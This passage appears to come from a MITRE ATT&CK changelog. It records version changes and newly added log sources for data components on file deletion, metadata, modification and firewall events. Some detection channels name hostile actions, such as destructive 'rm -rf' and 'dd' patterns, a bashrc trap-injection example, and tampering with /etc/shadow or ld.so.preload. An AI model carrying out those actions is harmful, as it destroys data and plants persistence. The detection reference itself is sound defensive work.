'WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open,create'}, {'name': 'auditd:FILE', 'channel': 'Creation of hidden files (.) in sensitive directories (/etc, /var, /usr/bin)'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip or .dmg files in user-accessible or temporary directories'}, {'name': 'fs:fsusage', 'channel': 'file write'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open'}, {'name': 'macos:unifiedlog', 'channel': 'file create or modify in /etc/emond.d/rules or /private/var/db/emondClients'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename,write'}, {'name': 'macos:unifiedlog', 'channel': 'Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:18.072000+00:00	2025-10-21 19:32:14.744000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

[DC0040] File Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0040', 'external_id': 'DC0040'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat on service binaries or data targets'}, {'name': 'auditd:SYSCALL', 'channel': 'file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'esxi:shell', 'channel': 'shell history'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=23'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'esxi:hostd', 'channel': 'delete action'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, openat, write'}, {'name': 'macos:unifiedlog', 'channel': 'exec rm -rf\|dd if=/dev\|srm\|file unlink'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, rmdir'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, rename, open'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=23'}, {'name': 'fs:fsusage', 'channel': 'unlink, fs_delete'}, {'name': 'docker:daemon', 'channel': 'container file operations'}, {'name': 'esxi:hostd', 'channel': 'rm, clearlogs, logrotate'}, {'name': 'esxi:hostd', 'channel': 'Datastore file operations'}, {'name': 'macos:osquery', 'channel': 'CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat'}, {'name': 'WinEventLog:Microsoft-Windows-Backup', 'channel': 'Windows Backup Catalog deletion or catalog corruption'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/etc/fstab, /etc/systemd/*'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:21.434000+00:00	2025-10-21 15:14:36.450000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0059] File Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0059', 'external_id': 'DC0059'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'linux:osquery', 'channel': 'event-based'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Invalid/Unsigned image when developer tool launches newly installed binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt or yum/dnf transaction logs (install/update of build tools)'}, {'name': 'linux:osquery', 'channel': 'file_events, hash'}, {'name': 'macos:unifiedlog', 'channel': 'softwareupdated/homebrew/install logs, pkginstalld events'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI or Gatekeeper signature/notarization failures for newly installed dev components'}, {'name': 'auditd:SYSCALL', 'channel': 'Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/'}, {'name': 'linux:syslog', 'channel': 'Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp'}, {'name': 'macos:unifiedlog', 'channel': 'Detection of altered _VBA_PROJECT or PerformanceCache streams'}, {'name': 'EDR:file', 'channel': 'File Metadata Inspection (Low String Entropy, Missing PDB)'}, {'name': 'linux:osquery', 'channel': 'hash, elf_info, file_metadata'}, {'name': 'macos:osquery', 'channel': 'code_signing, file_metadata'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational log'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:syspolicyd'}, {'name': 'macos:unifiedlog', 'channel': 'File metadata updated with UF_HIDDEN flag'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15'}, {'name': 'auditd:PATH', 'channel': 'file path matches exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'path'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_file_rename_t or es_event_file_write_t'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'file write after sleep delay'}, {'name': 'esxi:vmkernel', 'channel': 'Upload of file to datastore'}, {'name': 'ebpf:syscalls', 'channel': 'Unexpected container volume unmount + file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'EDR:file', 'channel': 'File Metadata Analysis (PE overlays, entropy)'}, {'name': 'linux:osquery', 'channel': 'elf_info, hash, yara_matches'}, {'name': 'macos:osquery', 'channel': 'mach_o_info, file_metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Code signature validation fails or is absent post-binary modification'}, {'name': 'fs:filesystem', 'channel': 'Binary file hash changes outside of update/patch cycles'}, {'name': 'linux:osquery', 'channel': 'Read headers and detect MIME type mismatch'}, {'name': 'macos:unifiedlog', 'channel': 'Code signing verification failures or bypassed trust decisions'}, {'name': 'NSM:Flow', 'channel': 'Observed File Transfers'}, {'name': 'esxi:vmkernel', 'channel': 'Storage access and file ops'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'chmod or chown of hook files indicating privilege escalation or execution permission change'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem events'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar attribute removal commands'}, {'name': 'macos:unifiedlog', 'channel': 'Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2'}, {'name': 'linux:syslog', 'channel': 'application or system execution logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)'}, {'name': 'linux:syslog', 'channel': 'file permission modification events in kernel messages'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission or attribute changes'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission modifications'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to file or VM permission changes'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for file system permission modifications'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or invalid image for newly installed/updated binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals'}, {'name': 'macos:unifiedlog', 'channel': 'pkginstalld/softwareupdated/Homebrew install transactions'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI/Gatekeeper code signature or notarization failures'}, {'name': 'EDR:detection', 'channel': 'App reputation telemetry'}, {'name': 'gatekeeper/quarantine database', 'channel': 'LaunchServices quarantine'}, {'name': 'linux:osquery', 'channel': 'file_events.path'}, {'name': 'auditd:SYSCALL', 'channel': 'setuid or setgid bit changes'}, {'name': 'linux:osquery', 'channel': 'Filesystem modifications to trusted paths'}, {'name': 'fs:fsusage', 'channel': 'filesystem monitoring of exec/open'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)'}, {'name': 'auditd:PATH', 'channel': 'file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to file system permission changes and security violations'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission, ownership, and attribute modifications with user context'}, {'name': 'macos:unifiedlog', 'channel': 'kernel extension and system extension logs related to file system security violations or SIP bypass attempts'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Code integrity violations in boot-start drivers or firmware'}, {'name': 'fwupd:logs', 'channel': 'Firmware updates applied or failed'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_authentication'}, {'name': 'esxi:vmkernel', 'channel': 'Datastore modification events'}, {'name': 'linux:osquery', 'channel': 'Write or modify .desktop file in XDG autostart path'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected application binary modifications or altered signing status'}, {'name': 'auditd:SYSCALL', 'channel': 'setxattr or getxattr system call'}, {'name': 'macos:unifiedlog', 'channel': 'extended attribute write or modification'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663, 4656, 4658'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/'}, {'name': 'macos:unifiedlog', 'channel': 'New certificate trust settings added by unexpected process'}, {'name': 'esxi:syslog', 'channel': 'Datastore file hidden or renamed unexpectedly'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.lsd'}, {'name': 'saas:RepoEvents', 'channel': 'New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/.yml`)'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'SmartScreen or ASR blocks on newly downloaded installer/updater'}, {'name': 'WinEventLog:Setup', 'channel': 'MSI/Product install, repair or update events'}, {'name': 'journald:package', 'channel': 'dpkg/apt install, remove, upgrade events'}, {'name': 'journald:package', 'channel': 'yum/dnf install or update transactions'}, {'name': 'linux:osquery', 'channel': 'hash, rpm_packages, deb_packages, file_events'}, {'name': 'macos:unifiedlog', 'channel': "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"}, {'name': 'macos:unifiedlog', 'channel': "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"}, {'name': 'networkdevice:syslog', 'channel': 'OS version query results inconsistent with expected or approved version list'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or modification with com.apple.ResourceFork extended attribute'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15 '}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:14.725000+00:00	2025-10-21 15:14:35.397000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0061] File Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0061', 'external_id': 'DC0061'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d'}, {'name': 'macos:unifiedlog', 'channel': 'File modification in /etc/paths.d or user shell rc files'}, {'name': 'fs:fileevents', 'channel': '/var/log/quarantine.log'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write'}, {'name': 'auditd:SYSCALL', 'channel': 'AUDIT_SYSCALL (open, write, rename, unlink)'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for modification of /etc/sudoers or writing to /var/db/sudo'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors'}, {'name': 'macos:osquery', 'channel': 'query: Enumeration of root certificates showing unexpected additions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous plist modifications or sensitive file overwrites by non-standard processes'}, {'name': 'auditd:FILE', 'channel': 'Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write of .service unit files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write/unlink'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or desktopservices modified settings or files'}, {'name': 'ESXiLogs:messages', 'channel': 'changes to /etc/motd or /etc/vmware/welcome'}, {'name': 'auditd:SYSCALL', 'channel': 'write, rename'}, {'name': 'containerd:runtime', 'channel': 'file change monitoring within /etc/cron., /tmp, or mounted volumes'}, {'name': 'esxi:cron', 'channel': 'manual edits to /etc/rc.local.d/local.sh or cron.d'}, {'name': 'auditd:PATH', 'channel': '/etc/passwd or /etc/group file write'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'macos:unifiedlog', 'channel': 'SecurityAgentPlugins modification'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modifications to .plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'esxi:hostd', 'channel': 'boot'}, {'name': 'networkdevice:syslog', 'channel': 'config'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle'}, {'name': 'fs:filesystem', 'channel': "Modification or creation of files matching 'com.apple.loginwindow..plist' in ~/Library/Preferences/ByHost"}, {'name': 'auditd:SYSCALL', 'channel': 'write \| PATH=/home//.ssh/authorized_keys'}, {'name': 'macos:auth', 'channel': '~/.ssh/authorized_keys'}, {'name': 'gcp:audit', 'channel': 'compute.instances.setMetadata'}, {'name': 'azure:resource', 'channel': 'PATCH vm/authorized_keys'}, {'name': 'esxi:shell', 'channel': 'file write or edit'}, {'name': 'linux:syslog', 'channel': 'rename'}, {'name': 'ebpf:syscalls', 'channel': 'file_write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of plist with apple.awt.UIElement set to TRUE'}, {'name': 'fs:fsusage', 'channel': 'unlink, write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts'}, {'name': 'auditd:PATH', 'channel': 'write: Modification of /boot/grub/, /boot/efi/EFI/, or initramfs images'}, {'name': 'networkdevice:config', 'channel': 'config-change: timezone or ntp server configuration change after a time query command'}, {'name': 'macos:unifiedlog', 'channel': 'replace existing dylibs'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to boot variables, startup image paths, or checksum verification failures'}, {'name': 'firmware:update', 'channel': 'Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation'}, {'name': 'IntegrityCheck:ImageValidation', 'channel': 'Checksum or hash mismatch between running image and known-good vendor-provided image'}, {'name': 'macos:osquery', 'channel': 'File modifications in ~/Library/Preferences/'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /etc/pam.d/'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Security/SecurityAgentPlugins'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications to Mail.app plist files controlling message rules'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'auditd:SYSCALL', 'channel': 'write: Modification of structured stored data by suspicious processes'}, {'name': 'linux:syslog', 'channel': 'Unexpected log entries or malformed SQL operations in databases'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected creation or modification of stored data files in protected directories'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EvenCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'openat, write, rename, unlink'}, {'name': 'macos:unifiedlog', 'channel': 'file encrypted\|new file with .encrypted extension\|disk write burst'}, {'name': 'esxi:vmkernel', 'channel': 'rename .vmdk to ..locked\|datastore write spike'}, {'name': 'macos:unifiedlog', 'channel': 'Mach-O binary modified or LC_LOAD_DYLIB segment inserted'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin'}, {'name': 'macos:unifiedlog', 'channel': 'Modified application plist or binary replacement in /Applications'}, {'name': 'esxi:shell', 'channel': 'admin command usage'}, {'name': 'networkdevice:syslog', 'channel': 'startup-config'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or overwrite in common web-hosting folders'}, {'name': 'esxi:vmkernel', 'channel': 'Unauthorized file modifications within datastore volumes via shell access or vCLI'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware or image updates modifying cryptographic modules'}, {'name': 'fs:plist', 'channel': '/var/root/Library/Preferences/com.apple.loginwindow.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of existing .service file'}, {'name': 'auditd:PATH', 'channel': 'write or create events on .pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages'}, {'name': 'macos:unifiedlog', 'channel': 'write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:System', 'channel': 'Unexpected modification to lsass.exe or cryptdll.dll'}, {'name': 'networkconfig', 'channel': 'unexpected OS image file upload or modification events'}, {'name': 'network:runtime', 'channel': 'checksum or runtime memory verification failures'}, {'name': 'macos:unifiedlog', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Modification of /boot/grub/ or /boot/efi/'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /System/Library/CoreServices/boot.efi'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of LaunchAgents or LaunchDaemons plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'rename,chmod'}, {'name': 'fs:fsevents', 'channel': 'create/write/rename under user-writable paths'}, {'name': 'macos:osquery', 'channel': 'Changes to LSFileQuarantineEnabled field in Info.plist'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/tabs/ and cron output files'}, {'name': 'esxi:hostd', 'channel': 'modification of crontab or local.sh entries'}, {'name': 'networkdevice:config', 'channel': 'Configuration file modified or replaced on network device'}, {'name': 'macos:unifiedlog', 'channel': 'Plist modifications containing virtualization run configurations'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/at and job execution path'}, {'name': 'macos:unifiedlog', 'channel': 'binary modified or replaced'}, {'name': 'esxi:hostd', 'channel': 'binary or module replacement event'}, {'name': 'networkdevice:config', 'channel': 'Configuration change events referencing encryption, TLS/SSL, or IPSec settings'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware update or image modification affecting crypto modules'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags'}, {'name': 'auditd:FILE', 'channel': 'Modification of Display Manager configuration files (/etc/gdm3/, /etc/lightdm/)'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Preferences/com.apple.loginwindow plist'}, {'name': 'auditd:SYSCALL', 'channel': 'Modification of user shell profile or trap registration via echo/redirection (e.g., echo "trap \'malicious_cmd\' INT" >> ~/.bashrc)'}, {'name': 'macos:unifiedlog', 'channel': 'File write or append to .zshrc, .bash_profile, .zprofile, etc.'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, write, create, open'}, {'name': 'fs:fsevents', 'channel': 'Extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File writes to application binaries or libraries at runtime'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Mismatch in file integrity of critical macOS applications'}, {'name': 'auditd:SYSCALL', 'channel': 'file write operations in /Library/WebServer/Documents'}, {'name': 'fs:launchdaemons', 'channel': 'file_modify'}, {'name': 'auditd:PATH', 'channel': 'write: File modifications to /etc/systemd/sleep.conf or related power configuration files'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modification to com.apple.PowerManagement.plist or related system preference files'}, {'name': 'fs:fsusage', 'channel': 'modification of existing LaunchAgents plist'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib in monitored directories'}, {'name': 'WinEventLog:Application', 'channel': '81,3033'}, {'name': 'auditd:SYSCALL', 'channel': 'write operation on /etc/passwd or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'modification to /var/db/dslocal/nodes/Default/users/'}, {'name': 'linux:osquery', 'channel': 'New or modified kernel object files (.ko) within /lib/modules directory'}, {'name': 'macos:osquery', 'channel': 'Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table'}, {'name': 'networkdevice:audit', 'channel': 'SNMP configuration changes, such as enabling read/write access or modifying community strings'}, {'name': 'macos:osquery', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'mount or losetup commands creating hidden or encrypted FS'}, {'name': 'macos:unifiedlog', 'channel': 'Hidden volume attachment or modification events'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious plist edits for volume mounting behavior'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to startup image paths, boot loader parameters, or debug flags'}, {'name': 'networkdevice:syslog', 'channel': 'Checksum/hash mismatch between device OS image and baseline known-good version'}, {'name': 'macos:unifiedlog', 'channel': 'file writes'}, {'name': 'm365:defender', 'channel': 'OfficeTelemetry or DLP'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Access Logging'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration'}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules'}, {'name': 'm365:office', 'channel': 'Anomalous editing of invoice or payment document templates'}, {'name': 'fs:fsusage', 'channel': 'truncate, unlink, write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db'}, {'name': 'linux:fim', 'channel': 'Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)'}, {'name': 'macos:endpointsecurity', 'channel': 'write, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /proc//mem or /proc//maps'}, {'name': 'sysdig:file', 'channel': 'evt.type=write'}, {'name': 'macos:unifiedlog', 'channel': 'rule definitions written to emond rule plists'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing older image versions or unexpected boot parameters'}, {'name': 'FileIntegrity:ImageValidation', 'channel': 'Hash/checksum mismatch against baseline vendor-provided OS image versions'}, {'name': 'auditd:SYSCALL', 'channel': 'write or rename to /etc/systemd/system or /etc/init.d'}, {'name': 'fs:fsusage', 'channel': 'file write to launchd plist paths'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of entrypoint scripts or init containers'}, {'name': 'fs:plist_monitoring', 'channel': '/Users//Library/Mail/V*/MailData/RulesActiveState.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod/chown to /etc/passwd or /etc/shadow'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting web directory files'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal/Editor processes modifying web folder'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:11.410000+00:00	2025-10-21 15:14:35.239000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0043] Firewall Disable

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0043', 'external_id': 'DC0043'}]
x_mitre_log_sources		[{'name': 'esxi:vmkernel', 'channel': 'Disabling or modifying firewall rules'}, {'name': 'AWS:CloudTrail', 'channel': 'Removal of restrictive egress rules from a security group'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:59.931000+00:00	2025-10-21 15:14:40.022000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0044] Firewall Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0044', 'external_id': 'DC0044'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:06.404000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0053] Firewall Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0053', 'external_id': 'DC0053'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:03.149000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0051] Firewall Rule Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0051', 'external_id': 'DC0051'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'Firewall Rule Modification'}, {'name': 'Firewall Audit Logs', 'channel': 'Config Change'}, {'name': 'esxi:hostd', 'channel': 'vSphere API calls modifying firewall settings'}, {'name': 'networkdevice:cli', 'channel': 'firewall disable commands or suspicious ACL modifications'}, {'name': 'AWS:CloudTrail', 'channel': 'AuthorizeSecurityGroupIngress'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'new rule allowing inbound or outbound connections for remote desktop software'}, {'name': 'networkdevice:Firewall', 'channel': 'update_rule: Access control or NAT rule modified or disabled outside maintenance window'}, {'name': 'linux:syslog', 'channel': 'iptables or nftables rule changes'}, {'name': 'Firewall Audit Logs', 'channel': 'Outbound NAT Rule Changes'}, {'name': 'AWS:CloudTrail', 'channel': 'Create egress rule allowing UDP to port 53, 123, 11211'}, {'name': 'AWS:CloudTrail', 'channel': 'Ingress rule creation or modification for security group'}, {'name': 'AWS:CloudTrail', 'channel': 'New security group created with permissive rules'}, {'name': 'NSM:Firewall', 'channel': 'Policy Change / Rule Update'}, {'name': 'NSM:Firewall', 'channel': 'rule_modification: New or modified firewall rules related to wireless interfaces'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:56.720000+00:00	2025-10-21 15:14:37.073000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0004] Firmware Modification

Current version: 2.0

